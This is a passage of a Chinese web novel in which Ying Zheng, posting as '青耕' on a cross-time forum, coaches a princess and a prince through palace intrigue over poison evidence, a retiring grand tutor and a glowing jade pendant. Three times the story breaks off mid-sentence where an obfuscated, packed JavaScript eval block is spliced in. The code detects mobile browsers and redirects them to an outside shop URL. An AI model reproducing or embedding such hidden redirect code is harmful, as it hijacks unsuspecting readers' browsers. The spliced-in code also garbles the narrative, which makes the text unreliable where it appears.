“因为老身当年,是孝懿皇后的贴身女官。”卫氏眼中泛起泪光,“皇后临终前,将安平郡王托付给我,并告诉我真相。我本想揭发,但贵妃势大,先帝又已病重,我若开口,必死无疑,连郡王也保不住。于是,我带着证据,假死离宫,隐居于此。” “证据?”李昭心跳加速。 卫氏走到榻边,掀开草席,露出下面一块活动木板。她移开木板,从暗格中取出一个油布包,层层打开。 里面是几封泛黄的信笺,一方手帕,还有一个小瓷瓶。 “信是当年太后与宫外娘家商议下毒计划的密信抄本;手帕上沾着皇后吐出的毒血;瓷瓶里是当年剩下的毒药,与皇后所中之毒一模一样。”卫氏将东西递给李昭,“这些,我藏了二十六年。” 李昭接过,手微微发抖。 若这些证据属实,那太后便是弑杀元配、篡夺后位的凶手。而安平郡王,与当今皇帝,便有着杀母之仇! 难怪……难怪安平郡王对父皇、对皇室,始终心怀怨怼,甚至可能勾结外敌。 也难怪,太后多年来对安平郡王多有打压,却始终未能彻底除去,因为心中有鬼。 “你为何现在告诉我这些?”李昭抬起头,看着卫氏。 “因为安平郡王中毒,让我意识到,当年的恩怨,该有个了结了。”卫氏叹息,“郡王中毒,绝非公主你所为。老身虽隐居,却也有眼线在京城。下毒手法粗糙,指向明显,更像是有人想借刀杀人,同时挑起你和郡王的死斗。” “是谁?” “老身不知。但能知道当年旧怨、并加以利用的,无非那么几个人。”卫氏目光深沉,“太后,或者……太后身边的人。” 李昭脑中飞速转动。 如果下毒者是太后的人,那目的何在?除掉安平郡王这个隐患?同时嫁祸给她,一举两得? 而安平郡王醒来后模糊处理,是否也因为猜到了真相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114060|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不想打草惊蛇? 一切似乎都连上了。 “你将这些证据给我,想要什么?”李昭问。 “老身别无他求。”卫氏摇头,“只希望公主能善用这些证据,为孝懿皇后讨个公道,也……给安平郡王一条活路。他虽是仇人之子,却也是皇后骨血。” 李昭沉默良久。 手中这些证据,重若千钧。一旦公开,便是宫廷丑闻,朝局震荡。太后倒台,安平郡王与父皇的仇怨公开,宗室分裂…… 但若不公开,真相永远掩埋,毒瘤仍在暗处滋生。 她该如何选? “殿下!殿下!” 外面传来碧荷和护卫的呼唤声,由远及近。 李昭将证据重新包好,塞入怀中,对卫氏道:“今日之事,切勿再对他人提起。这些证据,我先保管。至于如何使用……容我再思量。” 卫氏躬身:“老身明白。公主保重。” 李昭不再多言,转身走出茅屋。 碧荷带着护卫正好寻到山涧处,见她安然无恙,才松了口气。 “殿下,您没事吧?那假道士没追到,逃进深山了。”护卫头领禀报。 “无妨。”李昭神色平静,“回观吧。火可扑灭了?” “已灭了,只是静心斋偏厢毁了,今晚恐怕……” “无碍,随便寻间干净厢房即可。”李昭说着,当先往观中走去。 心中却如这山涧潭水,表面平静,底下暗流汹涌。 她需要立刻联系先生。 --- 骊山别业,书房。 嬴政收到“我言秋日”的私信时,已是傍晚。 信中详细描述了后山所见、卫氏其人、以及那段尘封二十六年的宫廷秘辛。 他看完,久久不语。 墨玉跳上书案,用爪子扒拉他衣袖,他才回过神。 “竟是如此……”他低声自语。 弑后夺位,母仇子继,恩怨绵延两代。这剧情,比他当年在咸阳宫经历的,也不遑多让了。 他沉思片刻,回复: 【青耕】:证据确凿否? 【我言秋日】:尚未验证,但观其物、听其言,不像作假。卫氏隐忍二十六年,此刻交出,应有七八分真。 【青耕】:你待如何? 【我言秋日】:晚辈不知。公开,则宫廷震荡,宗室离心;不公开,则真相永埋,隐患仍在。且……此事牵扯父皇生母,晚辈不忍。 心软了。 嬴政摇头。这姑娘,到底年轻,重情。 【青耕】:公开与否,不在你,而在局势。证据在手,便是筹码。你可暂且压下,待关键之时再用。眼下,你需做两件事:一、验证证据真伪。二、查清下毒之人是否真与太后有关。若有关,则太后下一步必有所动,你需早做准备。 【我言秋日】:是。只是……验证证据,需从何入手? 【青耕】:信笺笔迹、毒药成分,皆可查。你可通过舅父旧部,暗中寻访当年太医院旧人、或太后娘家故仆。但要极其隐秘,勿让太后察觉。 【我言秋日】:晚辈明白了。谢先生。 结束对话,嬴政靠在椅背上,望着窗外暮色。 宫闱秘事,从来最是肮脏。当年在邯郸,在咸阳,他见得多了。只是没想到,这姑娘还未登上那个位置,便已卷入如此深的恩怨。 也好。 早点见识,早点明白:那条路上,没有谁是真正干净的。 他起身,走到书架前,抽出那卷《战国策》,翻到“楚策”一章。 上面写着:“敌已明,友未定,引友杀敌,不自出力。” 借刀杀人。 太后若真下手,用的便是此计。只可惜,刀不够利,反而让持刀人,看到了握刀的手。 他合上书卷。 窗外,最后一缕天光沉入山后。 夜色降临。 --- 20. 蛛网 清晨的骊山笼在一层薄霜里。嬴政推开窗时,冷冽的空气涌进来,带着松针和泥土的气息。墨玉缩在榻角,只露出一个毛茸茸的脑袋,显然不愿离开温暖的被窝。 用过早膳,他照例走进书房。光幕亮着,私信栏里已有几条未读消息。 先点开“我言秋日”。她昨夜宿在青阳观一间简朴厢房,今晨已启程回宫。信中汇报了行程安排,并提到:“证据已妥藏,回宫后便着手暗查。卫氏处已留人暗中看护,免生不测。” 行动很稳妥。 嬴政回复:“甚好。查证之事,首重隐秘。若遇阻滞,勿急勿躁。” 再点开“檐下雀”。他那边进展不错:通过禄全传递给董氏的“假消息”已经生效。董太师昨日“病中”上疏,力陈“江南漕运关乎国本,殿下若欲巡视,当早定章程,臣虽老迈,愿效犬马之劳”。显然,董氏相信了“巡查江南”之事,并想借机插手。 “先生,董太师果然上钩了。接下来该如何?”檐下雀问。 【青耕】:回他:太师病体未愈,不宜劳心。江南之事,自有漕运总督与地方官操持,待孤禀明父皇,再作计较。语气要恭敬,但态度要明确,不让他沾手。 【檐下雀】:是。另外,福安昨日主动寻我,说……禄全近日常半夜起身,在院中独坐。 独坐? 是在思考,还是在等什么? 【青耕】:让福安继续留意,但勿惊动。禄全这条线,我们既要利用,也要防他反噬。 【檐下雀】:明白。 处理完这两桩,嬴政才看向第三条未读消息——来自“鹄羽”。 【鹄羽】:先生,关于那‘阴阳鱼佩’,学生又寻到一段记载,或许与先生手中那枚有关。 又来了。 嬴政眉梢微动。这个“鹄羽”,对玉佩的兴趣似乎过于浓厚了。 【青耕】:请讲。 【鹄羽】:残卷提及,阳佩纹路中暗藏星图,对应二十八宿;阴佩纹路则隐现山河脉络。双佩合一,星图与山河相叠,可定方位,可测吉凶。此或为‘司命族’用以观天测地之术。 星图?山河脉络? 嬴政从锦囊中取出玉佩,对着晨光细看。墨色的纹路蜿蜒盘绕,乍看是云纹鸟羽,但若凝神细观,那些线条的走向、转折,似乎真有几分星宿排列的意味。至于“山河脉络”,则看不出来。 他想了想,取来纸笔,将玉佩纹路仔细拓印下来。线条复杂,费了半炷香功夫。 拓完,他将拓片举到窗前,与玉佩对照。 忽然,他目光一凝。 拓片上的纹路,在纸面上呈现得更清晰。某些线条的交叉点,若以特定方式连接,隐隐构成一个……他熟悉的地形轮廓。 像是……关中?渭水?骊山? 他心跳微微加快。 “墨玉。”他唤了一声。 黑猫不情愿地从榻上跳下,走到他脚边。 嬴政弯腰,将玉佩举到墨玉眼前:“你当日发现它时,可曾见过另一枚?” 墨玉“喵”了一声,用爪子扒拉了一下玉佩,又抬头看他,碧绿的眼睛里满是“你在问什么蠢问题”的意味。 嬴政失笑,揉了揉猫脑袋。 也是,问猫作甚。 他将玉佩收回锦囊,将拓片仔细折好,收入怀中。这线索,或许有用,但眼下更紧迫的,是那两个年轻人面临的局势。 他坐回案前,开始回复一些论坛上的公开提问——多是些无关痛痒的政务咨询,他随手解答,权当消遣。 论坛里关于“女子为帝”和“北境战报”的讨论热度已降,新的热点是某个时空的“科举舞弊案”。众生喧哗,各抒己见。嬴政看着那些或稚嫩或偏激的言论,偶尔摇头。 权力、利益、人心,古往今来,大抵如此。 --- 宫中,漱玉轩。 李昭回宫后第一件事,便是将证据藏于寝殿暗格——那是她幼时与皇兄玩耍发现的秘密夹层,除她之外无人知晓。 然后,她开始着手调查。 通过碧荷,她联系上一位早年出宫、现于京郊经营药铺的老太监。此人曾侍奉过太医院,对宫中旧事和药物颇为了解。 三日后,老太监暗中递回消息:那瓷瓶中的毒药,确实是宫中秘制“牵机”的变种,配方已失传多年,但特征吻合。至于信笺笔迹,他不敢妄断,但指出其中一个细节,信纸是江南“薛涛笺”,这种纸在三十年前曾风靡宫廷,后因造价昂贵,渐少使用。 线索零碎,但都在指向“宫廷旧事”。 同时,她通过舅父旧部,寻访到一位曾在太后娘家为仆、后因故被逐的老人。老人透露:太后当年入宫前,与娘家一位擅长制毒的远亲交往甚密。那人后来暴病而亡,死因蹊跷。 一环扣一环。 李昭将所得信息整理记录,心中愈发沉重。真相,似乎正在一步步浮出水面。 但她也察觉到,宫中气氛有些微妙的变化。 先是太后宫中忽然传唤了几位老御医,问了些“陈年旧疾调养”之事。接着,光禄大夫刘嵩之女、刘贵妃来漱玉轩“偶遇”她两次,言语间多有试探,问她“在青阳观可曾遇见什么趣事”。 太后在查?还是刘贵妃在替太后探口风? 李昭心中警惕,面上却依旧沉静,只答:“山间清静,抄经祈福而已。” 这日午后,她正在窗前临帖,碧荷匆匆进来,低声道:“殿下,卫氏那边传来消息,昨夜有不明身份的人接近后山茅屋,但被我们暗中布置的人惊走了。” 果然。 有人察觉了卫氏的存在,或者……察觉了她与卫氏的接触。 是谁?太后的人?还是安平郡王的人? 李昭搁下笔,走到窗前。秋日晴空,万里无云,但她的心头却蒙上一层阴翳。 蛛网已经张开,而她,正站在网中央。 --- 董太师府。 书房内,炭火烧得正旺,驱散了秋寒。董太师靠坐在太师椅上,闭目养神。他确实老了,鬓发全白,脸上皱纹深刻,但那双偶尔睁开的眼睛,依旧精光四射。 禄全垂手站在下首,大气不敢出。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114061|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下近日,可还安好?”董太师缓缓开口,声音沙哑。 “回太师,殿下一切如常。只是……似乎对江南巡查之事,并不急切。”禄全低声答。 “不急?”董太师笑了笑,笑意未达眼底,“他是不急,还是……另有所图?” 禄全不敢接话。 董太师端起茶盏,抿了一口,继续道:“北境之事,陛下已然生疑。老夫如今闭门思过,看似失势,实则……未必。” 他放下茶盏,目光落在禄全身上:“你很好。这些年,委屈你了。” 禄全扑通跪下:“能为太师效力,是奴婢的福分。” “福分?”董太师摇摇头,“是各取所需。你弟弟的赌债,老夫已让人还清。你母亲的风湿,也请了名医诊治。好好做事,老夫不会亏待你。” “谢太师!”禄全以头触地。 “去吧。殿下那边,继续留意。尤其注意……他与兵部左侍郎、还有那位胡不归的往来。”董太师挥挥手。 禄全躬身退出。 书房内重归寂静。董太师重新闭上眼,手指在扶手上轻轻敲击。 江南巡查……兵部……北境…… 棋局未终,胜负犹未可知。 他忽然想起很多年前,先帝还在时,他也是这般,在暗处布局,一步步将女儿送进后宫,将门生故旧安插朝堂。 如今,不过是再来一次罢了。 只是,对手换成了那个曾经优柔、如今却日渐难缠的皇子。 还有那个躲在暗处、为皇子出谋划策的“高人”。 他睁开眼,眼中闪过一丝杀意。 “查。”他对着空无一人的书房,低声说,“查清楚,到底是谁,在背后指点他。” 阴影中,有人应了一声:“是。” --- 骊山别业,黄昏。 嬴政收到了“我言秋日”关于调查进展和宫中异动的汇报。 他看完,沉思片刻,回复: 【青耕】:太后已起疑,刘贵妃是她的眼。你近日言行,需更加谨慎。证据查证之事,可暂缓,以免打草惊蛇。 【我言秋日】:是。先生,晚辈总觉得……仿佛有张网,正在收紧。 【青耕】:网一直都在。区别在于,从前你在网中而不自知,如今,你看到了网的脉络。这是好事。 看到,才能破。 【我言秋日】:晚辈明白了。 结束对话,嬴政起身,走到廊下。 夕阳西沉,将远山染成金红。哑巴老叟正在扫落叶,竹帚划过青石,沙沙作响。 墨玉跟出来,蹭他的腿。 嬴政弯腰抱起猫,望着天边最后一抹余晖。 山雨欲来,风已满楼。 但这一次,他教的这两个年轻人,或许……真能闯出一条路来。 他低头,对墨玉说:“你说,他们能走到哪一步?” 墨玉“喵”了一声,尾巴轻轻摆动。 没有答案。 只有秋风,穿过庭院,卷起几片枯叶,打了个旋儿,又落下。 --- 21. 双线并进,玉佩生光 初冬的第一场雪,在深夜悄然落下。 晨起时,骊山已覆上一层薄白。竹枝承不住雪,偶尔“扑簌”一声,雪团坠落,惊起檐下麻雀。墨玉蹲在窗台上,好奇地看着外面银装素裹的世界,尾巴尖轻轻摆动。 嬴政添了件厚袍,推开书房门。炭盆早已生好,暖意融融。他走到光幕前,坐下,先看了私信。 “檐下雀”在寅时发来一条急报: 【檐下雀】:先生,董太师昨夜‘病重’,已上表乞骸骨。父皇……准了。 乞骸骨?致仕? 嬴政眉头微蹙。以退为进,还是……真的撑不住了? 【青耕】:旨意如何? 【檐下雀】:父皇准其以太师衔致仕,赐金帛,许归乡荣养。但其子、侄等仍在朝为官,未受牵连。 明退实保。 董氏经营数十年,门生故旧遍布朝堂,岂是罢免一个太师就能清除的?皇帝此举,既是给董氏体面,也是给朝局一个平缓过渡的台阶。 【青耕】:你如何看? 【檐下雀】:晚辈……不知该喜该忧。董太师离朝,自是好事。但他势力犹在,且退居幕后,更难防范。禄全昨夜悄悄焚毁了一些旧信,似在清理痕迹。 清理痕迹,是准备蛰伏,还是……要彻底切断与董氏的联系,以求自保? 【青耕】:禄全近日可有异常? 【檐下雀】:更沉默,但做事更谨慎。福安说,他夜里辗转难眠,似有心事。 心事……愧疚?恐惧?还是……在谋划什么? 嬴政沉吟片刻。 【青耕】:董氏致仕,朝局必有变动。接下来几日,必有人事调整。你当留心,哪些位置空出,哪些人补上,哪些人暗中活动。记下来,分析其背后关联。 【檐下雀】:是。另,胡不归昨日送了一份‘谢礼’,是一本前朝《西域风物志》,书中夹了一页北狄王庭世系图,标注详尽。他说,‘聊表寸心’。 胡不归这是在示好,也是交投名状。这本“风物志”和世系图,价值不菲。 【青耕】:收下,回礼。礼不必重,但要显心意。你可亲手抄一卷《道德经》赠他,落款用你私印。 亲手抄经,赠予商人,是抬举,也是暗示:我视你为可交之人,而非简单利用。 【檐下雀】:晚辈明白。 处理完这条,嬴政点开“我言秋日”的窗口。 她那边,似乎暂时平静。自青阳观回宫后,太后和刘贵妃的试探并未升级,反而消停了些。卫氏处也再无异常。 但越是平静,越可能暗藏杀机。 【青耕】:宫中近日如何? 【我言秋日】:表面平静。太后常召刘贵妃说话,父皇病情依旧,未有起色。安平郡王已能下床,但闭门谢客。 安平郡王闭门谢客……是在养伤,还是在等待什么? 【青耕】:证据查证之事,暂缓是对的。眼下你当以静制动,专注两件事:一、借祈福之事,多与宗室女眷走动,尤其那些与太后、安平郡王皆不亲厚的。二、让你舅父旧部在北境‘操练’时,‘不慎’走失几名斥候,往安平郡王封地方向去。 第一件事是拓展人脉,第二件事是施加压力——让安平郡王知道,你在盯着他,且有能力做些什么。 【我言秋日】:是。先生,晚辈近日读《史记》,见吕后事,心有戚戚。女子临朝,当真……只能如此狠绝么? 她在迷茫。 嬴政看着这行字,想起自己当年读史时,也曾有过类似困惑。为何权力之路,总是布满血腥与背叛? 他缓缓输入: 【青耕】:非是女子只能狠绝,而是权力本身,便易催生狠绝。无论男女,若将权力视为私有之物,以压制、清除异己为能事,终将走上此路。 【青耕】:然,亦有不同走法。你可细读《史记》中‘文景之治’,文帝以‘无为’显宽仁,景帝以‘削藩’固中央,皆非一味狠绝。为君者,当知何时该刚,何时该柔,何时该清,何时该浊。此中分寸,需自行体悟。 这已不只是具体事务的指导,而是为君之道的探讨。 【我言秋日】:谢先生教诲。晚辈会细细思量。 结束对话,嬴政靠回椅背,望向窗外。 雪已停,天色青白。山峦素裹,一片寂静。 他忽然想起腰间玉佩。取出,托在掌心。 墨玉凑过来,用鼻子嗅了嗅。 玉佩在室内光线下,显得温润沉静。那些纹路依旧繁复,但看久了,似乎真的能看出些星宿轨迹、山河轮廓。 他心中一动,将玉佩举到炭盆旁,借着暖光细看。 就在这时,异变突生。 玉佩中央那线翠色,毫无征兆地,亮了起来。 不是反光,而是自内而外,透出一种莹莹的、柔和的光晕。那光极淡,却真实存在,映得他掌心一片温润的碧色。 墨玉“喵”地叫了一声,后退半步,警惕地盯着玉佩。 嬴政也怔住了。 这玉佩……会发光? 他试着移动玉佩,那光晕随之流转,纹路仿佛活了过来,丝丝缕缕的碧色在墨玉底上游走。 更奇的是,当光晕流转到某个特定角度时,玉佩中央那个凹陷处,竟隐隐浮现出一个极淡的、金色的虚影—— 那似乎是……另一枚玉佩的轮廓? 只持续了数息,光晕便黯淡下去,最终消失。玉佩恢复如常,温润墨色,再无异样。 书房内一片寂静,只有炭火偶尔的“噼啪”声。 嬴政缓缓握紧玉佩,掌心传来熟悉的微凉触感。 方才那一幕,绝非幻觉。 这玉佩,确有玄异。 “鹄羽”说的“观未来、溯过往”,难道是真的?而这发光、显影,又是何种征兆? 他沉思良久,最终将玉佩重新收回锦囊。 无论这玉佩有何秘密,眼下,都不是深究的时机。 他重新看向光幕。论坛里,时间依旧流逝,求助者依旧纷繁。 而那两个年轻人,一个正面对朝局变动,一个在静默中蓄力。 他们都走在自己的路上。 他所能做的,便是在他们需要时,提点一二。 如此,便够了。 --- 宫中,漱玉轩。 李昭正在抄录一份佛经。碧荷在一旁磨墨,动作轻缓。 窗外雪光映着纸面,字迹清秀工整。 忽然,碧荷低声道:“殿下,刘贵妃来了。” 李昭笔尖微顿,随即继续写完最后一笔,搁下笔,抬头。 刘贵妃已袅袅婷婷走了进来,身后跟着两名宫女。她今日穿着藕荷色宫装,外罩银狐斗篷,妆容精致,笑意盈盈。 “昭儿在抄经呢?真是有心。”刘贵妃走近,瞥了眼经卷,“为郡王祈福?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114062|195895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “为父皇,也为国朝。”李昭起身,微微颔首,“贵妃娘娘安好。” “好,都好。”刘贵妃在对面坐下,示意宫女将食盒放下,“今日小厨房做了些梅花糕,想着你近日辛苦,便带些来给你尝尝。” “谢娘娘。”李昭示意碧荷收下。 刘贵妃看着她,笑意渐深:“昭儿,你如今是越发稳重了。前些日子青阳观之事,委屈你了。” “娘娘言重,天灾人祸,非人之过。”李昭神色平静。 “是啊,谁能想到会走水呢?”刘贵妃轻轻一叹,“不过,我听说……你当时去了后山?” 李昭心头一跳,面上却依旧淡然:“是。听闻后山有处山涧景致不错,便去看了看。” “哦?可遇见什么有趣的人或事?”刘贵妃状似随意地问。 “山间清寂,唯有草木泉石。”李昭答得滴水不漏。 刘贵妃盯着她看了片刻,忽然笑了:“也是,那后山荒凉,能有什么。” 她不再追问,转而聊起宫中琐事,哪位娘娘新得了赏赐,哪位公主定了亲事。李昭一一应着,心中警惕却未放松。 半个时辰后,刘贵妃起身告辞。 送走她,碧荷关上门,低声道:“殿下,贵妃娘娘方才……是在试探?” “嗯。”李昭走回案前,看着那盒梅花糕,“她定是知道了什么。或许,太后已经查到了卫氏。” “那该如何是好?”碧荷急道。 李昭沉默片刻。 先生说要“以静制动”,但若对方已经动了呢? 她走到窗边,望着院中积雪。 “碧荷,”她轻声说,“去告诉舅父旧部的人,那几名‘走失’的斥候……可以‘回来’了。但要让他们‘恰好’被安平郡王封地的守军‘擒获’。” 碧荷一愣:“殿下,这是……” “让安平郡王知道,我在看他。”李昭眼神微冷,“也让太后知道,我不是任人揉搓的面团。” 与其被动等待,不如主动落子。 碧荷明白了,重重点头:“是!” --- 董府。 书房内,炭火已熄,冷意弥漫。董太师穿着一件半旧棉袍,坐在案前,慢慢整理自己的书稿。 致仕的旨意已下,三日后,他便要离京返乡。 门外传来脚步声,禄全走了进来,垂手侍立。 “都安排好了?”董太师头也不抬地问。 “是。京中产业已转手,田庄、店铺皆有人打理。回乡的车马、护卫也已齐备。”禄全低声答。 “很好。”董太师放下书稿,看向他,“你……可愿随老夫回乡?” 禄全沉默片刻,跪下:“太师,奴婢……奴婢想留在殿下身边。” 董太师盯着他,良久,叹了口气:“也罢。你弟弟的赌债已清,你母亲也有人照料。往后……好自为之吧。” “谢太师!”禄全以头触地。 董太师挥挥手,示意他退下。 书房内重归寂静。董太师走到窗前,望着外面凋零的庭院。 一生宦海沉浮,起起落落,如今终于到了尽头。 但他知道,棋局未终。他虽离场,棋子仍在。 那个年轻的皇子,还有他背后那个神秘的“高人”…… “会是谁呢?”他低声自语。 窗外,又飘起了细雪。 ---